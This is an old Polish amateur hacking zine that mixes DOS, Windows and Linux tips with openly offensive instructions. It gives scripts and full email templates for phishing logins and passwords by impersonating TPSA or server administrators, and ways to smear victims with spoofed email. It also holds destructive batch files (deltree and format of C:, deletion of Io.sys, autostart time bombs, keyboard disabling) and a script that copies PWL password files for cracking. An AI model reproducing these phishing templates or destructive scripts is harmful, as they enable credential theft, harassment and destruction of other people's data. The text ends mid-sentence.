 Dzwonimy do gościa przedstawiamy się jako TPSA wstawiamy bzdury w rodzaju awarii, 


 zmianie kont czy  innych kosmicznych banałach. Najważniejsze jest aby było wiarygonie, 


 można oczywiście postukać w klawiaturę. "Prosimy o podanie pana, logina hasła i numeru


 IP przydzielonego przez firmę ". Jeśli gość nie skuma to wszystkie te dane są na 


 papierku danym przez TP przy montowaniu. Dziękuję prosimy jeszcze o kontakt m@ilem 


 bez podpisu na adres...





 Jeśli nie znamy namiarów kolejnej ofiary a chcemy się dowiedzieć szukamy jej znajomych.


 Najłatwiej się kręci facetów więc darmowe konto kasiaxxx będzie pasowało, wysyłamy 


 liścik do znajomego ofiary i prosimy grzecznie o namiary. To nie wyjdzie za pierwszym


 razem lepiej trochę poflirtować i w ps poprosić o adres.





 Kolejnym sposobem na zniszczenie znienawidzonego lamerka są dość brutalne metody.





 a) rozsyłamy fakmailem z jego konta bluzgi do jego znajomych tak aby zachwiać jego reputację.


 b) to co wyżej tylko plus porno i tym razem do admina skrzynki.





 Chcesz poznać ip hosta wpisz w start/uruchom: ping nazwa_strony, ping ftp.nazwa_strony


 PowerGG- w momencie kiedy ofiara dodaje nas do swojej listy zdobywamy jej IP


 Pozyskiwanie informacji całkowicie legalnie http://www.ditel.tpsa.pl


 Prosisz gościa o wysłanie maila kiedy masz go na skrzynce wybierasz właściwości/szczegóły 





 Całkowicie anonimowy list możemy wysłać z strony http://hyperreal.info/cypher/remailer





 Najlepszą metodą na pozyskanie wszelkich informacji jest podszywanie się za kogoś kim


 tak naprawdę nie jesteśmy. Przkładowo zakładamy free konto np.rootpoczta, adminpoczta 


 i wysyłamy liścik o treści:





 Szanowni Państwo





 W związku z nasilającymi próbami się włamań na nasz serwer_nazwa informujemy państwo, 


 że zmieniamy system kodowania haseł, albo w związku licznym zakładaniem skrzynek, które 


 nie są przez nikogo używane zwracamy się z gorącą prośbą o przesłanie poniższego 


 formularza na adres admina systemu. Poniższy formularz ma na celu zweryfikowanie, czy 


 istniejąca skrzynka jest używana. Brak odpowiedzi będzie świadczył, że konto nie jest 


 używane. Zostanie ono skasowane. 





 O zasadach wysyłania informujemy na stronie www.mój_bajer.pl





 Dział Sieci Teleinformatycznych;


 Administrator systemu: Pan_kłamca





 Dzwonimy do ofiary przedstawiamy się jako TPSA lub RADIO xxx wygrał Pan/Pani nagrodę 


 główną jedynie trzeba potwierdzić dane...





 Wysyłamy maila z informacją o wygraniu konkursu na darmowe konto www lub shell trzeba


 potwierdzić dane login i passwd dla lepszego efektu wklejamy gratis loga firmy.





 ._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._..





 Hackowanie kont





 1. Zgadujemy hasło


 2. Sprawdzamy pytanie pomocnicze i wysyłamy pytanie do lamy z prośbą o odpowiedź


 3. Podszywamy się pod admina lub tspa i grzecznie prosimy o login i hasło


 4. Uruchamiamy programy BrutusA2 lub WWWhack





 ._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._





 DOS





 dysk: (dysk a,c,d,itd)                        komenda wybiera partycje lub dysk 


 cd katalog (nazwa katalogu)                   wchodzimy w dany katalog 


 cd..                                          wychodzi z danego katalogu 


 dir                                           wyświetla pliki i katalogi bieżącego dysku lub katalogu 


 dir /p                                        dzieli wyniki wyświetlane w proporcjach 


 dir /w                                        dzieli wynik na kilka kolumn 


 dir /s                                        pokazuje pliki i foldery ze wszystkich podfolderów


 md "nazwa" (nazwa katalogu)                   tworzy katalog 


 rd "nazwa" (nazwa katalogu)                   usuwa katalog 


 del *.*                                       kasuje wszystkie pliki w katalogu w obecnym katalogu


 cls                                           czyści ekran 


 ren "nazwa"                                   zmienia nazwę pliku lub katalogu 


 copy "skąd" "dokąd"                           kopiowanie podajemy co skąd i dokąd 


 attrib                                        pokazuje atrybuty plików w katalogu bieżącym


 attrib +r (nazwa i miejsce)                   nadaje atrybut Tylko-Do-Odczytu plikowi


 attrib +s (-|-)                               nadaje atrybut Pliku Systemowego plikowi


 attrib +a (-|-)                               nadaje atrybut Pliku Archiwalnego plikowi 


 deltree c:\nazwa katalogu                     usuwa katalog o nazwie oraz pliki znajdujące się w nim


 deltree c:\nazwa "/s"                         to samo tylko musisz potwierdzić 


 format "dysk":                                formatowanie 


 fdisk                                         program do dzielenia dysku na partycje 


 edit                                          edytor tekstu 


 tree \                                        graficzny wykaz drzewa katalogowego twojego dysku 


 tree C:\ /f | more"                           drzewo będzie pokazywał ekran po ekranie 


 type "ścieżka\plik"               	       pokazuje plik bez możliwości jego modyfikacji 


 edit "ścieżka\plik"              	       otwiera plik w edytorze





 REGEDIT4





 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion]


 "RegisteredOwner"="Cow & Chicken"





 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion]


 "ProductId"="AmAziNg FuCkinG"





 [HKEY_LOCAL_MACHINE\Hardware\Description\System\CentralProcessor\0]


 "VendorIdentifier"="D.e.a.d.l.a.m.e.r.s"





 [HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]


 "NoSetFolders"=dword:00000001


 "NoDrives"=dword:03ffffff


 "NoClose"=dword:00000001


 "NoDesktop"=dword:00000001





 [HKEY_USERS\.Default\Control Panel\Mouse]


 "SwapMouseButtons"="1"





 [HKEY_LOCAL_MACHINE\Config\0001\Display\Settings]


 "BitsPerPixel"="16"


 "Resolution"="400,300"








 Tworzenie kluczy blokujących i odblokowujących np.


 


 "NoClose"=dword:00000001 <-blokuje dostęp


 "NoClose"=dword:00000000 <-odblokowuje dostęp





  Znoszenie ograniczeń





 a) W szkole lub kawiarenkach mamy zwykle poblokowany dostęp do partycji wystarczy utworzyć


    skrót o lokalizacji "c:\" lub "file:\\" 


 b) Na różnych targach możemy również spotkach strzępki systemu programy rodziny WORD lub


    WORKS. Wybieramy WSTAW-> OBIEKT-> PAKIETY odpala się pakowarka i mamy WIERSZ POLECEŃ...





 Odbezpieczanie rejestru tworzymy klucz





 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]


 "DisableRegistryTools"=dword:00000000





 Jeśli chcesz wstawić sobie informacje do zakładki właściwości systemu musisz stworzyć dwa 


 pliki i zapisać je w c:\windows\system (win98)





 Plik oemlogo.bmp 


 Bitmapa 180x120 pixli (8/16/32 bit). Kolor nr 13 w palecie jest przeźroczysty.





 Plik oeminfo.ini : 





 [general] 


 Manufacturer=Producent komputera 


 Model=Model Komputera 


 [Support Information] 


 Line1=komentarz 


 Line2=komentarz 


 Line3=itp 





 Szybka kopia rejestru URUCHOM wpisz -> regedit /e a:\kopia.reg





 HKEY CLASSES ROOT\Inkfile usuwamy pozycję IsShortcut i już nie mamy strzałek na ikonach skrótów





 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer wartość pozycji link 


 Zmieniamy na 00 00 00 00 i nie ma pojawiającego się napisu "skrót do" przy tworzeniu skrótów.





 Urucamianie programów z paska adresu (tworzymy dodatkowy klucz App Paths)


 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\ścieżka_prog





 HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID\{645FF040-5081-101B-9F08-00AA002F954E} kosz


 HKEY_CLASSES_ROOT\CLSID\{21EC2020-3AEA-1069-A2DD-08002B30309D} panel sterowania


 HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D} mój komputer


 HKEY_CLASSES_ROOT\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}otoczenie sieciowe


 HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D} ie


 HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar kolory paska narzędzi ie


 HKEY_CURRENT_USER\Software\Microsoft\Notepad cionka notepada





 a) do ścieżki WORDA dopisujemy parametr /mFileExit 


 b) AUTOEXECU w pierwszej linijce wpisujemy tekst autoexec.bat albo "subst nazwa_dysku c:"


 c) w SYSTEM.INI jest polecenie SHELL zamiast tej linijki wpisujemy "lama"


 d) tworzymy w głównym katalogu dysku twardego plik WIN.COM


 e) system.ini w linijce shell=explorer.exe zamiast explorera wpiszmy progman.exe


 f) otwieramy rejestr HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\Run 


 g) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\Uninstall 


 h) można stworzyć plik wsadowy w katalogu głównym noNamE.bat i wpisać "deltree c:/y" 


    lub  "deltree c:\windows\fonts /y" Następnie w pliku WIN.INI w linijce "run=..." 


    wpisujemy ścieżkę do pliku.


 i) HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer


    wartość binarną o nazwie NoDrives w wartościach wpisujemy tyle jedynek ile dysków 


    ma być niewidzialnych.


 j) można również wsadzić do autostartu plik wsadowy o treści: RUNDLL32 USER,ExitWindows





 


 ECHO ON / OFF powoduje wyświetlanie komend lub też nie, w plikach wsadowych działają


                 wszystkie polecenia DOSa.


 ECHO. zostawia pustą linijkę


 ECHO [text] wyświetla text


 REM służy do umieszczania komentarza w pliku wsadowym


 PAUSE przerywa pracę programu wyświetla się napis czekając na naciśnięcie klawisza


 PAUSE > NUL nie wyświetla textu oczekiwanie na naciśnięcie klawisza


 CALL wywołuje inny program jeśli plik jest w tym samym katalogu podajemy jego nazwę


      w przeciwnym wypadku musimy podać pełną lokalizację. 


 GOTO jest to polecenie skoku do danej etykiety











 przykładowe programy ilustrujące działania powyższtch programów 


 


 --- program pierwszy ---               --- program drugi ---


 					


 @Echo off				@Echo off


 :go                                    echo NACISNIJ DOWOLNY KLAWISZ


 md lama                                pause>nul


 cd lama                                copy c:\windows\pulpit\*.* c:\windows\menust~1\programy\autost~1


 goto go 				echo ZRESTARTUJ KOMPUTER


 


 --- program trzeci ---





 @Echo off


 pause>nul


 copy c:\windows\*.*pwl a:\


 


 


 Krnl386.exe & User.exe 





 rundll32 keyboard,disable                     wyłącza klawiaturę 


 rundll32 mouse,disable                        wyłącza myszkę 


 rundll32 shell32,SHExitWindowsEx 2            restartuje windows 


 rundll32 shell32,SHExitWindowsEx -1           restartuje powłokę 





 (rundll32 user.exe,XXXXXXX) 





 SwapMouseButton                               zmienia przyciski 


 SetDoubleClickTime                            wyłącza podwójny klik


 DisableOemLayer                               wyłącza grafikę 


 ExitWindows                                   wyjście z windows 


 ExitKernel                                    zakończenie sesji 


 ExitWindowsExec                               szybszy restart 





 (rundll32 krnl386.exe,XXXXXXX) 





 FatalExit                                     błąd 


 GlobalrealLoc                                 przerwanie funkcji 


 exitkernel                                    szybkie wyjście 





 Można łączyć pliki wsadowe z skrótami





 --- program pierwszy ---





 @Echo off


 del C:\Io.sys 


 rundll32 shell32,SHExitWindowsEx 2 





 --- drugi program ---





 @Echo off


 rundll32 keyboard,disable 


 rundll32 mouse,disable  


 można dodać FatalExit





 





 Przy tworzeniu plików wsadowych możemy posłużyć się znanymi z DOSa komendami


 DIR, MD, RD, DEL, COPY, CD, REM zilustruję to przykładem





 @echo off


 MD C:\MOJE


 @copy C:\windows\system.ini C:\MOJE >nul


 @copy C:\config.sys C:\MOJE >nul 


 CD\


 CD MOJE


 dir





 zwykłe kopiowanie copy c:\windows\*.*pwl a:\


 znaczniki > i >> służą do ZAPISANIA i DOPISANIA można np.





 copy c:\mojedo~1 c:\lista.txt


 dir c:\ | dir c:\windows >> c:\lista.txt





 można również dopisać co nieco do autoexeca





 echo del command.com >> c:\autoexec.bat





 TYPE powoduje wyświetlanie w programie danego pliku np.


 FIND odszukuje słowo kluczowe w pliku np.


 


 TYPE C:\windows\system.ini >> c:\lista.log 


 


 --- program pierwszy ---                          --- program drugi ---





 @echo off                                         TYPE system.ini | FIND "shell"


 cls                                               TYPE system.ini | FIND /I "shell" 


 echo ROZMNAZANIE KOMOREK 


 :go


 echo ale bajzel>>kupa.txt


 type kupa.txt >>kupa.txt


 goto go


 


  


 Kiedy chcemy coś usunąć albo sformatować możemy pominąć potwierdzenie


 oddzielając znakiem "|" komendy





 ECHO T | FORMT C: /q 





 polecenie FORMAT ma jeszcze opcje AUTOTEST robiącą to co wyżej: | FORMAT C: /AUTOTEST











 CHOICE jest przełącznikiem, daje nam możliwość wyboru


 ETYKIETA jest poleceniem do którego odnosi się przełącznik choice


 IF komenda występująca po komendzie IF jest wykonywana, jeżeli spełniony został 


 określony warunek. EXIST sprawdza czy dany plik lub katalog istnieje parametr \NUL 


 umożliwia sprawdzenie istnienia katalogu


 


 np. 


 IF EXIST c:\nc\nc.exe DEL c:\nc\nc.exe


 IF NOT EXIST c:\katalog\NUL MD c:\katalog








 --- program pierwszy ---





 @echo off 


 : Start


 echo author: frEd


 pause>nul


 echo WYBIERZ


 echo 1- Powrot lub Poczatek


 echo 2- Dalej


 choice/c:12


 if errorlevel= 2 goto dalej


 if errorlevel = 1 goto start 


 :dalej


 echo Wybrałes 2 czyli dalej


 pause>nul








 /c:xxxx - (gdzie xxxx to wybory np. 1234) - będzie odpowiednikiem czterech wyborów o 


            klawiszach "l", "2", "3" i "4", (można także stosować litery).


 /n - daje możliwość schowania monitu z zestawem wyborów ("[1,2,3,4]?")


 /s - rozróżnia małe i duże litery w klawiszach wyboru np.: choice/c: abzABKLMNO /s


 /t - wybiera ustalony przez Ciebie wybór po określonym przez Ciebie czasie


      np.: choice/c:xyz /t:y,07





 --- program drugi ---





 @echo off


 rundll32 mouse,disable


 rundll32 keyboard


 


 





 For polecenie to służy do przypisywania dużej ilości plików za jednym razem danej wartości.


 FOR %zmienna IN (zbiór) DO komenda





 @echo off


 echo author: frEd


 FOR %%I IN (dysk:\katalog\*.TXT) DO ECHO frEdprzeczytał zawartość- >> %%I 





 można również dodać aktualną datę i godzinę pod ostatnią linijką wpisujemy:





 FOR %%I IN (dysk:\katalog\*.TXT) DO DATE > %%I 


 FOR %%I IN (dysk:\katalog\*.TXT) DO TIME > %%I 





 Sprawdzanie czy katalogi istnieją. Jeśli nie - są tworzone:


 FOR %%i IN (Jeden Dwa Trzy) DO IF NOT EXIST %%i\NUL MKDIR %%i








 Zmienne środowiskowe


 


 %WINDIR%       - zawiera sciezke do folderu windowsa


 %TMP% i %TEMP% - zawiera sciezke do folderu tymczasowego


 %COMSPEC%      - sciezka do interpretatora polecen (zazwyczaj C:\COMMAND.COM)


 %CMDLINE%      - sciezka do ostatnio ruchomionego programu


 %PATH%         - sciezki do folderow programow itp





 Coś do rozwalania można jeszcze usunąć wszystkie czcionki





 ECHO T | FORMT C: /q                                          FORMAT C: /q /AUTOTEST


 DELTREE /Y C:\                                                DELTREE /Y %windir%





 Sposoby niszczenia:


 1. Dopisanie do pliku zabójczej linijki


 2. Stworzenie pliku niszczącego i ulegającego samodestrukcji


 3. Bomba czasowa plik uruchamia się po pewnym czasie








  --- program pierwszy ---                       --- program drugi ---


 


 @Echo off                                       @echo off


 ECHO NACISNIJ DOWOLNY KLAWISZ                   echo. | date | find /c /i "2002.01.03" > NUL


 pause>nul                                       If errorlevel 1 Goto end


 del *.* c:/q                                    echo.


                                                 echo DZIS SA MOJE URODZINY


                                                 :End





 Jeśli data się zgadza program wyświelta napis





 echo off


 goto test


 :przyklad


 md nic


 goto end


 :test


 echo. | date | find /c /i "So" > NUL


 If errorlevel 1 goto end


 goto przyklad


 :end





 Program działa na zasadzie jeżeli dziś jest sobota tworzy katalog "nic"


 za jest to oczywiście przykład można tu wstawić dowolne komendy.


 nazwy dni tygodnia Pon, Wto, Śro, Czw, Pią, Sob, Nie można jeszcze godziny





 echo. | time | find /c /i " 16:00" > NUL


 


 zmazywanie pliku


 ECHO. >x:\sciezka


 dopisywanie 


 ECHO to_co_chcesz_dopisac >>nazwa pliku.rozszezenie





 ._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._





b) PWL





Napewno zastanawiasz sie gdzie są zapisywane twoje hasła. I w ogóle...Są one zapisywane w plikach *.pwl a jak chcesz je rozkodować to szukasz tego pliku i najlepiej mieć Caina on jest do tego stworzony on ci to rozkoduje, idz do lamy i zgraj se hasła rozkoduj u siebie i dobrze :) 





c) Sztuczki





HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID\{2227A280-3AEA-1069-A2DE-08002B30309D}�-> W tym kluczu znajduja sie domysnna nazwa drukarki mozna ja zmienic :)��HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID\{992CFFA0-F557-101A-88EC-00DD010CCC48}�-> W tym kluczu znajduje sie Dial-up netwroking mozna zmienic jego nazwe :)��HKEY_LOCAL_MACHINE\Software\CLASSES\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}�-> W tym kluczu mozemy zmienic nazwe kosza np na :Niedociaglosci Billa Gatesa��HKEY_CLASSES_ROOT\CLSID\{21EC2020-3AEA-1069-A2DD-08002B30309D}�-> W tym kluczu mozemy zmienic nazwe "Panela sterowania" na np: "Panelek"��HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}�-> W tym kluczu mozemy zmienic nazwe "Moj komputer" i nie tylko. Nie zawsze jednak nazwe Moj komputer trzeba zmienic w rejestrze. Ale za to mozna zmienic napis wyswietlajacy sie po najechaniu myzska. Czytaj na samym dole.��HKEY_CLASSES_ROOT\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}�-> W tym kluczu mozna zmienic nazwe "Otoczenie sieciowego"��HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}�-> W tym kluczu mozna zmienic nazwe "Inetrnet Explorer" znajdujaca sie na pulpicie.��HKEY_CLASSES_ROOT\CLSID\{BDEADF00-C265-11d0-BCED-00A0C90AB50F}�-> W tym kluczu mozna zmiienic nazwe "Web Folders" znajdujaca sie w Moj komputer.��* InfoTip sluzy do wyswietlania napisu po najechaniu myska tzw(Hint)�


d) Linki





http://www.Cyber-crime.nano.pl


http://www.windows.pl


http://www.microsoft.com


http://www.hackerzy.glt.pl


http://www.small.prv.pl 





e) Przyśpieszamy windowsa





Komputer z Windowsem 98, albo ME uruchamia się wiecznie, a ty nie masz czasu czekać?


Po prostu komputer uruchamia za dużo programów, aby to zmienić wejdź w uruchom i wpisz <msconfig> (tylko nie wpisuj przypadkiem nawiasów <>), a w zakładce "Ogólne" zaznacz uruchamianie selektywne, przejdź teraz do zakładki uruchamianie i zostaw tam tylko 3-4 zaznaczone opcje (no chyba, że chcesz czekać na start), odznacz wszystko co dotyczy systemu tzn. LoadPowerProfile, Machine Debug Menager, HiberMonitor, Scheduling menager i inne niepotrzebne. Musisz także zrestartować Windowsa. Pojawi się okno. Zaznacz "nie pokazuj tego okna ponownie" i OK. Jeszcze tylko usuń plik c:\windows\system\mdm.exe, bo to jest śmieć, który zabiera ci niepotrzebnie RAM i w niczym nie pomaga (w końcu produkt microgówna :)). Jeżeli pojawi się okno z napisem, że plik jest używany, to go wyłącz (ALT+CTRL+DEL, zaznacz mdm, "zakończ zadanie").





 Następny krok w przyspieszaniu Windowsa to plik wymiany, czyli SWAP FILE. Jest to plik, którego systemy używają w celu "zwiększenia" ilości RAMu (jak chcesz wiedzieć więcej, to mail me). Prawy klik na Mój komputer, wejdź w zakładkę "Wydajność" i kliknij na "pamięć wirtualna" (na dole po prawej - dla bystrych inaczej :P). Następnie zaznacz pole "Pozwól mi określić własne parametry pamięci wirtualnej", teraz przydałaby Ci się 270MB partycja - jeśli masz, to wybierz ją z listy, a jak nie masz, to nie szkodzi, ustal wielkość minimum i maksimum na takie same wartości (trochę więcej niż masz RAMu)








iHost:  Tutaj musisz znaleźć host do wysłania wiadomości


From:  administrator@host.tego.shella.pl


TO:    frajer@interia.pl


Topic: "System potwierdzania danych osobowych na serwerze kont shellowych host.tego.shella.pl"





W związku ze zmiana systemu autoryzacji użytkowników posiadających konto na serwerze


host.tego.shella.pl zwracam się ze szczególną prośbą do użytkownika zarejestrowanego jako


"tutaj nick naszej ofiary" o potwierdzenie swoich danych osobowych w celu uniknięcia


jakichkolwiek nieprawidłowości związanych z rejestracja na naszym serwerze. Aby umożliwić 


administratorowi aktualizacje bazy danych o użytkownikach należy wysłać przed końcem "tutaj


data odpowiednia do sytuacji" na adres (w tym miejscu podajesz adres skrzynki pocztowej, 


którą założyłeś sobie specjalnie na wymogi SE np. admin@wp.pl. Równie dobrze może być to alias


np. root@irc.pl) wiadomość zatytułowaną "Dane osobowe" [Wiadomości z innym tematem nie będą 


brane pod uwagę] napisana według podanego


wzoru:





############################


Imie:Jan


Nazwisko:Kowalski


Login:janek


Haslo:polska


Potwierdzenie hasla:polska


Wiek:25


Miejscowosc:Warszawa


Kraj:Polska


############################





W przypadku niestosowania się do powyższych poleceń konto zostanie całkowicie wykasowane.





**************


Jacek Nowak


Administrator


host.shella.pl


**************


f) Sprawdzamy wirusa bez antywirusa





Sposób 1.





Otwieramy Ms DOS i wpiusjemy chkdsk i sprawdzamy ile jest pamięci powinno być 655 360 jak będzie mniej znaczy to, że masz wirusa :)





Sposób 2.





Posyłamy do kogoś na WP maila i poczta nam (jak mamy) przyśle wiadomość, że mamy wirusa i jeszcze jakiego .......:)








LINUX





a) Podstawy





To jest z CC-zina jak chcesz zamów go na mojej stronce


Konta:�Glównym administratorem systemu jest root. On przydziela konta poszczególnym uzytkownikom, grupom roboczym i systemom plików.��Wyglada to tak:�Root - Uzytkownik - Grupy - Pliki i Katalogi.��Najpierw tworzymy konta uzytkowników, pózniej laczymy uzytkowników w grupy zgodnie z zadaniami jakie beda wykonywac lub zakres dostepu do danych albo urzadzen. Po utworzeniu grup musimy zdefiniowac prawa dostepu poszczególnych uzytkowników, jezeli maja sie róznic od praw posiadanych przez grupy.��Nasze konto:�Czy jezeli mamy konto root powinnismy miec jeszcze jakies inne? Tak! Nie powinnismy wykorzystywac konta root do osobistych celów. Po pierwsze jako operatorzy systemu mamy nie ograniczona wladze, prawa dostepu do plików itd. Jednak jesli bedziemy jej uzywac bez ograniczen, mozemy spowodowac niechcacy nie odwracalne szkody. Innym bardzo waznym powodem który powinien sklonic nas do zalozenia drugiego, swojego konta jest: np. jesli przegladamy internet przy pomocy Netscape Communicator, w którym wlaczylismy obsluge wszystkich jezyków internetowych, a nasza przegladarka uruchomi podstepnie napisany aplet Java, moze on przejac nasze uprzywilejowane prawa dostepu do zasobów i zaatakowac system.��Jak przydzielac konta:�Jezeli musimy komus przydzielic konto z dostepem do powloki, trzeba zminimalizowac zwiazane z tym ryzyko, a zrobic to mozna w ten sposób:�- usuwamy z niej wszystkie nie istotne uslugi sieciowe,�- oferowane przez nia uslugi ograniczamy wylacznie do mozliwosci korzystania z powloki,�- partycje dysku ustalamy tak, aby w razie ewentualnego zniszczenia systemu latwo bylo go odtworzyc,�- instalujemy tylko podstawowy zakres aplikacji,�- logi powinnismy skierowac do serwera raportów, a jezeli nas na to stac, to takze zapisywac na nosnikach uniemozliwiajacych powtórny zapis danych,�- systemy plików (/tmp, /home, /var) nalezy umiescic na oddzielnych partycjach i przesunac aplikacje typu SUID na partycje montowana z opcja no setuid.��Co zawiera plik passwd:�Plik /etc/passwd sklada sie z wpisów dotyczacych kont uzytkowników. Oto wpis znajdujacy sie w moim komputerze:��root:x:0:0:root:/root:/bin/bash�bin:x:1:1:bin:/bin:�daemon:x:2:2:daemon:/sbin:�adm:x:3:4:adm:/var/adm:�lp:x:4:7:lp:/var/spool/lpd:�sync:x:5:0:sync:/sbin:/bin/sync�shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown�halt:x:7:0:halt:/sbin:/sbin/halt�mail:x:8:12:mail:/var/spool/mail:�news:x:9:13:news:/var/spool/news:�uucp:x:10:14:uucp:/var/spool/uucp:�operator:x:11:0:operator:/root:�games:x:12:100:games:/usr/games:�gopher:x:13:30:gopher:/usr/lib/gopher-data:�ftp:x:14:50:FTP User:/var/ftp:�nobody:x:99:99:Nobody:/:�nscd:x:28:28:NSCD Daemon:/:/bin/false�mailnull:x:47:47::/var/spool/mqueue:/dev/null�ident:x:98:98:pident user:/:/bin/false�rpc:x:32:32:Portmapper RPC user:/:/bin/false�rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/bin/false�xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false�dzedal:x:500:500::/home/dzedal:/bin/bash�kenias:x:501:501::/home/kenias:/bin/bash�madrav:x:502:502::/home/madrav:/bin/bash��Dane skladaja sie z siedmiu pól (ogranicznikiem jest dwukropek).��Teraz opisze kazde z pól na przykladzie konta madrav.��nazwa_uzytkownika - pole to przechowuje nazwe uzytkownika.�haslo - w nowych wersjach, w których jest stosowane maskowanie (shadowind) hasel plik /etc/passwd/ przechowuje jedynie znacznik hasla (x) a zaszyfrowane haslo ukryte jest w innym miejscu.�ID_uzytkownika - W tym polu przechowywany jest numer identyfikacyjny uzytkownika. Jest on dolaczany do procesów uruchamianych przez danego uzytkownika. Mozemy mu nadac wartosc z przedzialu 0..65534 (nie powinnismy wybierac wartosci 0, zarezerwowana ona jest dla operatora systemu root.�ID_grupy - przechowuje numer identyfikacyjny podstawowej grupy, do której nalezy uzytkownik. Rózne dystrybucje ustalaja wartosc tego pola na rózne sposoby. Nie uzywajmy tylko wartosci 0, która jest zarezerwowana dla root.�prawdziwe_nazwisko - o tym mysle, ze nie trzeba pisac.�katalog_macierzysty - przechowuje polozenie katalogu macierzystego danego uzytkownika (/home/madrav). Jezeli podczas instalacji utworzylismy specjalna partycje i katalog (inny niz /home) przeznaczony dla katalogów macierzystych - wybierzemy wlasnie ten katalog. Powinno sie umieszczac wszystkie katalogi macierzyste na tej samej partycji i w ramach tej samej hierarhi systemu plików.�powloka_uzytkownika - definiuje domyslna powloke uzytkownika. Jezeli zainstalowalismy cala dystrybucje linuksa, mozemy wybrac jedna z wielu powlok: ssh, csh, bash, ksh, tcsh, etc.��Dodawanie kont uzytkowników:��Linuks oferuje nam tworzenie kont za pomoca narzedzi graficznych i z linii komend. Opisze tu obydwa. Zaczne od narzedzia, którego uzywa sie w linii komend. Jednym z popularnych narzedzi tego rodzaju jest program adduser.��Program adduser uruchamiamy poleceniem adduser nazwa_uzytkownika:��$ adduser kenias��Po wykonaniu tej komendy program automatycznie wykona wszystkie czynnosci, oprócz nadania hasla. Zeby utworzyc haslo uzytkownika, nalezy uruchomic komende passwd wraz z nazwa uzytkownika:��$ passwd kenias��Po wykonaniu tej komendy system linuks poprosi nas o podanie hasla i potwierdzenie go:��Enter new Unix password:�Enter new Unix password:��Program adduser automatycznie nada wartosci identyfikatorów UID i GID. Aby lepiej kontrolowac proces tworzenia kont, mozemy skorzystac z programu useradd (o ile zainstalowany jest pakiet maskowania hasel Shadow Suite). Teraz opisze tworzenie kont narzedziem graficznym za pomoca tych dostepnych pod Red Hatem i OpenLinux. Narzedzie to nazywa sie usercfg.��Uruchamiamy ten program (usercfg) z poziomu system X, klikamy mysza jego ikone w oknie Admin Tools (Caldera) lub Control Panel (Red Hat), a jezeli w ten sposób nie mozemy odnalezc programu, to otwieramy terminal X i wydajemy komende:��$ usercfg��Otworzy nam sie wtedy okno dialogowe i tam przewijamy podswietlona linie do ADD NEW USERS i naciskamy Enter. Program poprosi nas o wykonanie szesciu czynnosci:�- okreslenie nazwy uzytkownika,�- okreslenie identyfikatora UID uzytkownika,�- okreslenie grupy do której bedzie nalezal uzytkownik,�- okreslenie katalogu macierzystego,�- okreslenie domyslnej powloki uzytkownika,�- okreslenie imienia i nazwiska uzytkownika.�Po wykonaniu tych wszystkich czynnosci, program usercfg przejdzie do interfejsu tekstowego i poprosi o podanie hasla:��$ Enter new Unix password:��Wpisujemy haslo nowego uzytkownika i wciskamy Enter, wszystkie informacje przez nas zostana zapisane w pliku /etc/passwd.





b) Minidystrybucje





Ściagnij je z mojej strony


�BrutalWare 


Jest to system przeznaczony dla administratorów (lub hakerów - zaleznie od okolicznosci). Miesci sie na dwóch dyskietkach i trzeciej, dodatkowej. Zawiera wiele drobnych narzedzi do diagnostyki i podsluchu sieci: nmap, sniffit, linsniffer, program do lamania hasel(john the ripper) i programy sieciowe: Lynx, telnet, ftp, ssh (do nawiazywania bezpiecznych polaczen ze zdalnymi komputerami). Komputer powinien miec 16 MB RAM, obslugiwane sa karty sieciowe 3Com, Western Digital, NE2000.�Instalacja. Nalezy przygotowac trzy sformatowane dyskietki, a nastepnie rozpakowac plik brutalware.zip i w powstalym podkatalogu uruchomic makedisk.bat (DOS/Windows) lub makedisk.sh (Linux/Unix).�Aby uruchomic BrutalWare trzeba uruchomic komputer z pierwszej z utworzonych dyskietek, lub w trybie MS-DOS wlozyc pierwsza dyskietke i uruchomic na niej plik <a:\linux.bat>





�Floppix 


Floppix to zdecydowanie jedna z najlepszych minidystrybucji Linuksa - miesci sie na dwóch dyskietkach. Jest to miniaturowa wersja Debian 2.1, a dzieki temu znakomite narzedzie do nauki Linuksa. Zawiera duzo programów i nie wymaga instalacji na dysku. System w ogóle nie korzysta z twardego dysku - nawet nie ma tekiej mozliwosci - dzieki temu poczatkujacy uzytkownicy nie uszkodza waznych plików. Floppix ma trzy konsole wirtualne (a na ósmej konsoli tekstowej jest wyswietlany zapis zdarzen systemowych), zawiera narzedzia: find, grep, cut, vi. tr, sed, awk, sort, wc, gzip, tar, diff,lpr, programy sieciowe m.in. DHCP, PPP(do laczenia sie z Internetem przez modem), ping, telnet, ftp, mail, ssmtp, fetchmail, links(swietna tekstowa przegladarka WWW), ssh, ipfwadm, tcpd ,telnetd, ftpd, icmplogd, tcplogd, klogd , syslogd, identd, cron, lpd. Floppix ma uaktualnienia zwiazane z bezpieczenstwem i Y2K z dystrybucji Debian 2.1r4. Wymagania - conajmniej 486DX, 16 